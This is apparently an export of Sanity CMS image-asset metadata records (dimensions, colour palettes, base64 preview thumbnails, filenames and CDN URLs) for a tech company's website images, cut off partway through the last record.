{"_createdAt":"2022-09-30T15:36:52Z","_id":"image-782b88fb26e2e0fead822c31c33a54b8dee5499b-1567x844-png","_rev":"8WeirZ6KB9gJqgJfviQ9d9","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:52Z","assetId":"782b88fb26e2e0fead822c31c33a54b8dee5499b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86bQE%hIVoMof_4%MIpWCfkoht6f5oLf8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACQklEQVQokW3S2U8TURTH8aF0AamktICNSkxop+10SheEFrpYlQRMZCvdpp3SVVrwDUNQwx7QqPHFv/hr5rYiGB8+uXNPcs/cOfOTRsI9nLEurkgbZ7iJK9zCEWoIk5EWU5EGLlXHqVRwBatMqrpY7b4KVo+GWdYx+VuY/E0s3irSZPKQ6PYlae2G5cIlqcIFyfw58e0TlrZPiK8fE397RGrrmNTWRyG6eoh7voPNp2P26pjlXcxyDYtXR3JnPpDRv7F58Iu11g/W29/J9X6y0f7Om9o1r4unrGrnbDa/sN78ykrlirm1I1zze1j9/UZ3Se7EexK5M1b0G1L5M16WLlitXYuD2cIpqa1PZPMnrGgXvNKuWNj4jDt+gCXYZihg6NwjjYXaPFrc50lin8fPO8wsdJhJdMVe1BZ7Yn26dCBML/QYVfuNJGUPKdi9b0jpMGwMVNaxeTRGPCVsXg2rXBU1q6xjVypMhDSccxqOcI3xaJPxWEt4GG3eI0lKFynQweRrMOyrDxjPDVGzBOpMxarIySKBdBF/pow/WyWQraK8KKNkiijpwi1pSHmHacC47b8zMQfbOOfrzKaqyJkKckbDL5RR0kWU5A7Kck4IJnNIdr+OU20wEenwQG1h8e0yLPRva/bVsQUbjEVa2CNNxud0HKFKn6rhUMs4ggNqGWlazvMsVGEm1sCp6ox6SiKwRkiNXBlRMEIrDb7A5P8zmr8vvUsan91hwlvA4Sth9xQZmS3cNjQOGdEwmok/esvY/99vqZFvzO2nCCUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292e55","foreground":"#fff","population":0.97,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b5d2","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1da62","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#61708c","foreground":"#fff","population":1.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfc360","foreground":"#000","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"782b88fb26e2e0fead822c31c33a54b8dee5499b-1567x844.png","path":"images/sczeoy4w/production/782b88fb26e2e0fead822c31c33a54b8dee5499b-1567x844.png","sha1hash":"782b88fb26e2e0fead822c31c33a54b8dee5499b","size":73717,"uploadId":"0IL3YosWvs0eCYXECgPamrw4ws36B9PW","url":"https://cdn.sanity.io/images/sczeoy4w/production/782b88fb26e2e0fead822c31c33a54b8dee5499b-1567x844.png"} {"_createdAt":"2022-09-07T20:16:54Z","_id":"image-2fb2015ad74e40a9d738259ec4af37aa40e18e08-562x306-png","_rev":"QRl2cGoCgj0FlAhkRqj6jK","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T20:16:54Z","assetId":"2fb2015ad74e40a9d738259ec4af37aa40e18e08","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8366013071895424,"height":306,"width":562},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC5ElEQVQokS2S61NTdxCGD5CQkEBuyMVaq7md5OQkIEmUyzRAKaNIAQPknnNyQhIRik7LTB3rgKaKoALJ3+oHPzgj/p5Ooh+e2f3w7s7uuyu5ldLna6p2NRwp44mUxUhUF2MTBsPRCp6owcjkDp5YFZdqdKNnso4zvo898azLYOKZsN45oFd98k1Sdr9I3unHV8mVQzG7/pzptedibuMFC9tHpLZfMZM+YnbzmHvpYxKPjkmmXzOTfcvd7Dvi2yckMidMpZvil/lDLGpd9MrVb5J/bo9U+l9Wym/Efe2ElcoZjxof2d5rsVY/Z7H4joXSKUvVCxaNS5Z2Wvxea7NgXDJbOEN9+JLx6T+FNVTBFCgjBVIHIrV1JFaNU9YbF+KPxy02dlts7rVZ220zr30gpX1gud5msXrZbdphpvge+eExzuRTYVbqmIO6MAfKQgot/8Nc5j+WtDNWGy1WGm3u1y55ULtgeed78bx+QUo/Z177yG+Vc+LpJjd+PcQR38cUadAjVzEFdcydCW+m/kZ58ILY6suuR/e2mtzdapLYetP1KZ45ZWLzLcpak+j6a6Y2XnEr9Rd2pYo1qDMQ1LAFSgz4C1h8eSSbYgiHagiXWsETM/BM1nDfaeCc2sORfNpZCWfyAGdiH1d8H3f8Ca5YA49SZTRsMCbrjAaKuP05bL4cktlfFP3enLDezmC5nRFmbx6Tr9g12CKXGQyXuKYWGI/mGVWLDCud9zIYU2v8pNa5Hq4KT6iCPaiL/qAmJFcgy0iowLBSEg65wIAvi9WXw+bP4pYzjEUy3IhluTmR43q0gCeiMaQYDEbq2CMNbJ2DhOuiN1ynJ1xHGpezX29NaOLneA1XRBdWf77rRaepPZBjSC5gVzQGIlUskRqmcA2TbGCSK98JVkRfsEKfXBF9snElDYXKn1yq8dURrWFVqqIj+iH4gUFPqIak7HbpTNEX1On3F7H4cli8WWHxZjv5lcWX//w/1kuAVrvB1mMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292e55","foreground":"#fff","population":0.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":18.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":18.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aabcae","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcd9","foreground":"#000","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d6f8e","foreground":"#fff","population":1.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e07f34","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"highlight-blog-post.png","path":"images/sczeoy4w/production/2fb2015ad74e40a9d738259ec4af37aa40e18e08-562x306.png","sha1hash":"2fb2015ad74e40a9d738259ec4af37aa40e18e08","size":36957,"uploadId":"bQkslFc5gNt7uyWAU69mf9xuSxLCPAV1","url":"https://cdn.sanity.io/images/sczeoy4w/production/2fb2015ad74e40a9d738259ec4af37aa40e18e08-562x306.png"} {"_createdAt":"2022-09-30T15:52:19Z","_id":"image-6b5843fdf1afa02ef3a6e82357c0e6753b8eb2f9-387x388-png","_rev":"vDQRRYe9nRreptIRp5oJiQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:52:19Z","assetId":"6b5843fdf1afa02ef3a6e82357c0e6753b8eb2f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLK^KgICqF?HSJ56bb9DR%V?Otj[IVt8VsbHxtn%xtbcbbM{$%nhbb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9974226804123711,"height":388,"width":387},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEeklEQVQ4jRXC+VfaBgAA4PyNW+vwAK8KyBXDfRMgAeWSgMiNiCsoFASVIJBAAAk4LuWwtlptfe6nvq3d2z+wt+99gEzP3lKvQspltW5z32fPZXPBQEIuQ1QKJOKLlLMFulIdXl0N6Va9XAgHdlSaDZF0Cfz/IqAwsMWqVYlq1WASuzG3Bwup5cg6k89hck0SZczuzEVj1Q/Z1mWpWcEzyYjJJBJCDD44JwDfAloTT6lja2ChCYUtVrfF4DKLdTAHtHD5XgiK67R5714rl68XztKHiZh/z4pIIMm8AHwjBN8ABkSohfkwqjYi9m0TFrPt55zec5uttINWdpCq3dIKB8c43j4rRjC/07JtRRRyBROE5kBoDoARkc4oNFmMqNkVQDHcF74KhWmfh/bYacza3kU7PucgGafT6WNf0O9ye90Wg4EnVbBkymXAiIJ6oxBBDW7Umdx2El5P27/X2XN1MGtn10y7TG0M7YSwdjyCh0IfotHEgd/mUBtRgcUmBBCrGDaDVlQfsNozNuel201iuzWnlbLB1I6+tq0nHGbKj10dhKl4pJJKpFMhX9Dgj6oSSQOwbZOZUbEV1XrNlkOz9XcjElUowluCMMgLiTaDAk5QtPler8Y9rkrYX0nF8bNo/sJNkPs0HQMiIcs+psOsWqdGt6fQeEQihLloYLzVLiyo5hfVc78aGb94OMvHsDLvthFxf/8yMennP9/Vvtw3gTaZbp4dFD2WuEYVVioDkHB3Y9m+xnRzOR4e377Owt4tHkKcPKoh9h3DqP0x7X3qlh+m/U/TAfA8o5//qN7EMNygONGpUhp5Qio4FAtOtQoc1pzIhSkJ51wvqe0i/fjuQ9zykLCPifNBlx5ed4CvHwfPo/bt8QFhUpxptgoaMCPhnECcgoxflG9mobUMyCqq2C27/DZm+XTkGJ+EuxW83Wy0mxTwOB3cDzu9QqayA1+oeEXFRnZrNclfSXKYKfZCijufFjAuZItNdHMU1E/TgQF+2iQqdZIkqxXgbtSb9Lv9WqVxEMBhqCBdOREuHXGY79msEw4rI2B92FoqKpktK3cQgfv5RIcoUyRZLZdLxSLwcXx7P51+nt7dVMtVuyEvWcmIltKildzWu4J440LJKWnZpIlNu8DekYMuZimiStVqNYKoXF4C376+Pj3++XD/OiDauA3JQss5iFmQr+FqTknLLcP8mkXUtINdPzwovL9u1FpUo1GvN+p1qlYDnr58n9y89DoPtRyZgXVJ/kJaNH8qZZ2rVnHtOq5nVxAh5ZD24tgdRc5GN4Nev9VskQRRLl0Co8HTdWvWbU7qeTJjMhxx55K8NxmQcSpZOFcsXWjXymY+5ZD0Ys57ovzy8dPz45fRcNSgGiW8BHSb4+vGsN+edKrdotuVEi0e837NQb8V5YyyZoEwrVM7goZddOVWDY8PXmd3f3//6+Xby/h2TNMd4Jrq9xr9UWcyaN2Q0WhGtpYWvi1IGRXtPGVkNrc3rlyiho1Ponw65v06mf388e/PH/+8vr7OZnf/ATHu0qKUlF8uAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503236","foreground":"#fff","population":2.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a5138","foreground":"#fff","population":0.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c2928c","foreground":"#000","population":7.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2928c","foreground":"#000","population":7.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a28c","foreground":"#000","population":1.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a96f5a","foreground":"#fff","population":5.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b47660","foreground":"#fff","population":3.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"muralidhar-basani.png","path":"images/sczeoy4w/production/6b5843fdf1afa02ef3a6e82357c0e6753b8eb2f9-387x388.png","sha1hash":"6b5843fdf1afa02ef3a6e82357c0e6753b8eb2f9","size":233001,"uploadId":"8ID8UxttqM4UZetXNgyuIRblNlll1orE","url":"https://cdn.sanity.io/images/sczeoy4w/production/6b5843fdf1afa02ef3a6e82357c0e6753b8eb2f9-387x388.png"} {"_createdAt":"2022-09-07T20:27:32Z","_id":"image-ca5ca0ccc12221d455057abb83b2637a9fa2f918-562x306-png","_rev":"CK1sLU2mnwa3vmbYWB2yyw","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T20:27:32Z","assetId":"ca5ca0ccc12221d455057abb83b2637a9fa2f918","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6DR,C_2048|v;46xv{19ZBD0BDl?ETa=?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8366013071895424,"height":306,"width":562},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC80lEQVQokTWTy28bZRRHJ1ZSaJV2URBx1UYIiUVnxnbiR3H8jOzEsRO7Tifk0TR2bcf+ZmLTPJxHYxLRkAZIgCaoAQkJJFrBAnZ0g4A1EitWSGwR/wELWCCRfgeNG5Z3cY/Ovfd3FUUVfymqOFE0E0UzpaIJ6dBNnKEFRqaXuGlu4Rnf4WLkLlfCgl7/JE53lh4thVNN0tNnyHOeebv3qaKKf5RTmFRUQYcqpEMVnPfVeS3fZGVzl539Y5KlAy7HlgmmSwyPvU4kMUowksTlDdHrSclzrtvPZFTxVFE0YRd0aKbs0gUv+k2ixgpLm7scfXTE4cNjDHEPNVkjc6PAzZlpRkczxOMx+vp9XNEGOasXZHtCVaCckmWX2+SVuCVnSg0+PWrxzeMHfPLxIfsH96k31zCKC9wqmxRLFa7nbzAwEELVXLyqh2SPZ4ouvdbmtIEO3ZTOsMVUpcFXx8v88mSLJ1/u8+HBHh+89yYH765x/94qe60mO6tNGrUqQ8kkgYCfWChMMDLGS94iHfa0tuoLQYvYRJ3ltTs8frjMt5+t82BvndXmEtubi7y/u8oX+2v88HaN79bneKc6TWY4SSQaJZ0cJDs0jBacolOvodi7c4YtGZ2oY5QbLDXvsLNRp14pMDs1iVkq8NaixdfbDX69O8nP1UG2c3HiwQj9/hC+azH6B8a47LuF49RQnvGY8oLf5FLEktHsAuWJMmYmR3VoiJV8jsOZPD+V0/xRifL9VIxWOsVELIXPP8IlV15263N06tV25OzYPLvOVSHPaII+b5X5UIFWZJytcIbDRIYfs4P8bgT4zQjwKJdkI51jNmHgDhbp9lg4NEsqqn1l0zYU/7bJmsnzmpAeV0WO990m6y1w3TdLK2TwKDHK58MZWok8RmyWQGiel69ZnPcu0ulelB16/f+nOLEN/2xDVdPegezWhLyg1zirCXrdFUb8c6QCRa765rnYX+c53wYO/zaKt4XiaaK43pCKZtnAE0U1//4PXWycRE6vAR4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e335e","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7c7c9","foreground":"#000","population":2.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6d57c","foreground":"#000","population":4.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a7459","foreground":"#fff","population":0.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45b26","foreground":"#fff","population":6.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"highlight-ospo.png","path":"images/sczeoy4w/production/ca5ca0ccc12221d455057abb83b2637a9fa2f918-562x306.png","sha1hash":"ca5ca0ccc12221d455057abb83b2637a9fa2f918","size":38681,"uploadId":"6Vpxe9mBn7KY2EKRmFB4AMqBKIrTZXs6","url":"https://cdn.sanity.io/images/sczeoy4w/production/ca5ca0ccc12221d455057abb83b2637a9fa2f918-562x306.png"} {"_createdAt":"2022-09-30T16:25:34Z","_id":"image-a373b736bde3d823e4aab82d21d5be197aea5256-1600x1137-png","_rev":"XMqVxILwpPMz4xYxc7wtb0","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T16:25:34Z","assetId":"a373b736bde3d823e4aab82d21d5be197aea5256","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEHUlEQVQ4jTWReUzTZxjHfwaCq2iWxcWoZG77zwFGdoUtDGeyjbjKNSXLlsi5cslRB5QpooMxIFIojWKoLQmDzQ2HO0hEXSbHgiyGwyHYcpSjB0ehQNvf+f6u511atyf55H3e500++T55CS8p7Ji1Ol54NPIkcuCvR7F9g38ff9A/fOzX3+9FVV7+9uC+/WF7CIII3bX7+dCoN94KHR0di3C73eUej/cHhmFuiaLYJcuyVhTFWIZhgwkPyYfeMHUeScs6m/PxJ6mNHyVnXP0wOVP/vvJM49GYhKpDEcfKww6/V3r47ROlMSfOlF6qu6Ydn3g6vLW17WJZdlOSpE1Zlh+KovgpTfpCCPc2u7+2vkmZmpF3M6eowlZc0biurmx2FV/UuYoqmlYLK5qcxRd1jtLqFkfllTaHobPHNT45w3m8PiwIApZl2Y9ZFKU0mqZDiHU39Yq2UZ9SW3vl3p3eP9HjyTk8PmXFI/9M49GJGTxhXsBTMzZsnnNgy7wTz9vW8Nr6FpAkJfM8L4uCAALizDy1nckujT1HuDbIQ7rma6cNhht3LRYLixDCFM3KHo8XaIoGEQkgIQFEXgBJkkAQRaBpBkiSBIZhgWNZzG2tLPNP71RJhuMHibV1397auob41lZDr9ls4TgOYZJiwOPxBYSIYQH5GGBIGjiOA4QQUCQFXq8PaDoww/yqmRP/qOqFb/YpCZvDvbOo+Fxsy/Xrv1ks0yyPeIw4BAxFB0AsCwLiQeAFEEURBEEAn4+Ezc2twMn535yPsfRL/jxc2l1LZOWUEUrlySi9Xv+jxTLNCDyP/QKWooChSOARB7Isw//lX5uiaPB4PIGEpM8Lm+M9mDbGb0BFSBeBMSZiYmIidTpd5/T0NC3wQkD4LCEFiOMCkv+k/h8NpOQRAp4XYNW+AE++v4BXL7/qhq92dBMu1wYRHR0d3tzc3DE7O0tLkoRFXpBZmgGOYUBACGRRApBlwH7jswLsvwAGx7wZhvUZeOncnkWsIbTErZ9vB8fFxb1eU1Nzc2hoiLXbbHhpYRFbZ+fw/Jw10NuXbNhht2OHwwkO5zI4nE5wOp1gd67AyMN+fL/+c9Gi3jsoXFB8RrS3dxxQqbI/KCgoMGq1jVNtbW1Wk8k0Z7xhDGAyGq0dxpaVLoOW7W6twwEM9fi2oR53t9bjjoZy6btSpb2v5OjVyYaT0YROpw9Tq798MzUtPSU9PSP7C5UqT6XKzlWpVHlZWapcVVZmfnVucvVPhe/evV98ZLlfHc4NqF8TB9Th/AN15HZPYdRYZ/47uvbSRKVJ+/XLhEZzPvhsQdHO9PRMxalTKYqExOQAiUlJiqSkJEVKUrxiMO+lA+4SxWmmLLiT0wRZkSbIhzRBLlYT1OcrCylZLHkxorU4Ydd5TVnwv502Ibz3UifSAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6f533d","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082662","foreground":"#fff","population":1.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87607","foreground":"#fff","population":5.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3a0aa","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8ace0","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e5466","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87607","foreground":"#fff","population":5.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-m3.png","path":"images/sczeoy4w/production/a373b736bde3d823e4aab82d21d5be197aea5256-1600x1137.png","sha1hash":"a373b736bde3d823e4aab82d21d5be197aea5256","size":74065,"uploadId":"JnWY8quRTszj8NvBz1nHSDvwXRi5cHmt","url":"https://cdn.sanity.io/images/sczeoy4w/production/a373b736bde3d823e4aab82d21d5be197aea5256-1600x1137.png"} {"_createdAt":"2022-09-19T17:34:42Z","_id":"image-a2260cf5403a2f2ea2ebd440cb5410be58210fd2-690x413-png","_rev":"heqX94pomd70Sxq8XxNPtx","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:42Z","assetId":"a2260cf5403a2f2ea2ebd440cb5410be58210fd2","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABMElEQVQoka2SPU8CQRCGnz0+ghwBxROQ3cOIAW+DCQWKoEi08H9o6Q+yMdHe0sbO3sLYGD/40NLfYfZuE68+mOTN7M7uPpOZWVi2TQLJeyD50Ypb3yMjlgCcaxVCX9v1MJYCCo5IDvztNHhp17nfqpB3RAgsLQL8CGTmW6vine8VckIUgTKwarUWk9mXTAFWK0Dexl1AhMDPQPpzrc4ftiujZjbdAw4EHAJDYGB1BPSBLrAH7AMdQJv7QBNIG2DqK5DdmVZXTzu1i7GbOzMgAcfAGBhZnQIn9nHPxgZEiU28FQfKmVbD59Zm/7JcaAAbAjzjgYr11dh6nf/zKlADTKucsGQDnWqZnQQy+9isOo7tr5tkMJMIyFQr00tufJM8skRzjgPfdiXXKgIu+r+XZn+A4Tm6QYcWKgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c341c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e0c09","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e0c09","foreground":"#fff","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c0c0d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48486","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c0c0d","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec2426","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"exoscale-690x413.png","path":"images/sczeoy4w/production/a2260cf5403a2f2ea2ebd440cb5410be58210fd2-690x413.png","sha1hash":"a2260cf5403a2f2ea2ebd440cb5410be58210fd2","size":17430,"uploadId":"JXTtv3KBvZxmLDqF2XHDhS4iD79A0HaQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/a2260cf5403a2f2ea2ebd440cb5410be58210fd2-690x413.png"} {"_createdAt":"2022-09-19T17:34:42Z","_id":"image-7aa0c5992a53a1c07679765082199df37c8b5209-690x413-png","_rev":"heqX94pomd70Sxq8XxNPst","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:42Z","assetId":"7aa0c5992a53a1c07679765082199df37c8b5209","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACkElEQVQoka2TS0hUURjH/+NomeArRc0RF0XEZA8pU0ltXs6oqYWvUmfm3ulc9VzUghIEJcxx5s6kM1JID4nKBypFLYKWFdUiF5W0MohwlYRRWTqPqBYnZrxGSdSm7/DjO6vfOYfvf4D/XXqnDzqnP9xNfYsYODEKdgHw3ayCYfQ08sd56EerIXbV4phNBCdQ8CSEKHcq71dAkesrDM5lFLi/gwF4bdViaSADjycr0H1+Biy8qsGytkFPT4EXKDhBDPdVuPAhslArBUO3i9RKgfVZg0zJ6pRYcG/H/YmDYN0M0U92KcDqw4c1ktYITqBRHBGVYcGqeEWmCAsNzuUoneTPLHYuqZs6n6uecrXxAW9S7MyNkljr8GRC+VCvqqu3On3KbIpv55qSrYKYyROq4omYyBMaI5MoE4lix1KsVgrsK+t7X2Zvu22atZbqfZ5U3fRUha7p4l1Tg2u4/kp7Te3DKk1ul9mWZRHEPTyhhTyhBTyhe2WKeEJ3h+QwOj7FaKTgjgr7gsFDxw6+shgO+Txphx9MHK2zDT0iZvut1onmeu5ZZcH+nkZObRHEbFmolzHyhJpk4QaU9n2I0EjBuHL7u7TBluvpcw0HVH5vSsbUSMfWOu9sXo19OmesuXnzy7KcpDONXJxFEJN5QlN4QlN5QjfJz0/niZjAEzEiPOFQZHL7GdTHGcAYWsgLFLs/K3VOf3SR68u6neeYYqPHhzZyMjRhxc+ohCa8NjY6yQ+tFECh+xt66B2wbIBdA/pHLsHoWkSei6Gz4x7YFsBhtsIamuxq/n7LpCys7H0LjRREieMjBlrG8eZIPnyDqXBdvorys/Moc8zB2y5h3qhGj9kGy6/CPwV7bYV+zd/4V/0AkJoycngAMuQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f4157","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a2e88","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb913","foreground":"#000","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#084f90","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c9cf4","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#44669c","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb913","foreground":"#000","population":0.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"google-cloud-690x413.png","path":"images/sczeoy4w/production/7aa0c5992a53a1c07679765082199df37c8b5209-690x413.png","sha1hash":"7aa0c5992a53a1c07679765082199df37c8b5209","size":13901,"uploadId":"UWhhAi3pdAydvaWUsUhF7xgI4t9JNZA9","url":"https://cdn.sanity.io/images/sczeoy4w/production/7aa0c5992a53a1c07679765082199df37c8b5209-690x413.png"} {"_createdAt":"2022-09-29T10:07:11Z","_id":"image-51555c9f7d4bcce542db7cd55658d35d1ace06f6-2500x2500-png","_rev":"vDQRRYe9nRreptIRp2dFBd","_type":"sanity.imageAsset","_updatedAt":"2022-09-29T10:07:11Z","assetId":"51555c9f7d4bcce542db7cd55658d35d1ace06f6","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEy0lEQVQ4jWWUC0yVZRjHH26imIpXOJwDmhdyZrfNMmuTzQtHzZllbbqJUzSXmdFiDRlTNK3VbGu5ypxdXDIxl8oIv3MEUUtUkMILIIgQBwU8HuAc4Fw4t+//b985oK7e7f8937N33+97nvd9nkeoJAqURKFJLzQlCZVJwpMiuJgWgbLUOJoNSTTpUqkkJtGcEgNSaK8UBvqFhFDzQxYSWjhvCMPMBuEf8wSl0yJoNsRTSZxDZVImlIR9MCV9B7NhHcwp49m4R0LQuwUPQXxMQmViCIiLCwTm5CiadClQEjNgTi5A+exa/JnWjcqVVtzM+gW28iUgJzPgeoKqL0KLDkG/wD8Qtm67CEw6QdUqwZkpkTDpptCk+xBlqZdweUkf6nOBu0cI27kAnLctDLoVkl8SWE1gKqDGUETYqAisdRJKWgPygGhRToRJtxllM6tQvcYbAjnvAAEnoAYAQCXgBdlF4ArInSSfARlDn0vY0ypoqxRhyThB6fRhUBIW8MyTxahc6Ub7r4S3S4MApCaGFHKgSftDI9TgLnjsM1DxdWQofa9ThEVRArMhgUpiLs6/2MamfaSnPcwIf6zpv0vbCsDvqYG17j2e3ZOgpatdVugBJeF5mJMLWfmmGw9KqQYHoKpBAqoG1tZQkIPvg0H7XB5aLikoyTbyHYkNn+HV1ZE4PWERSqeV8/pWn6/nOroddth6bHC4nbC5vbzf76HN3seunl50dTto63agp9cJV5+DgTsX2nHy3XzmRuu4TgNWvRWFkrEv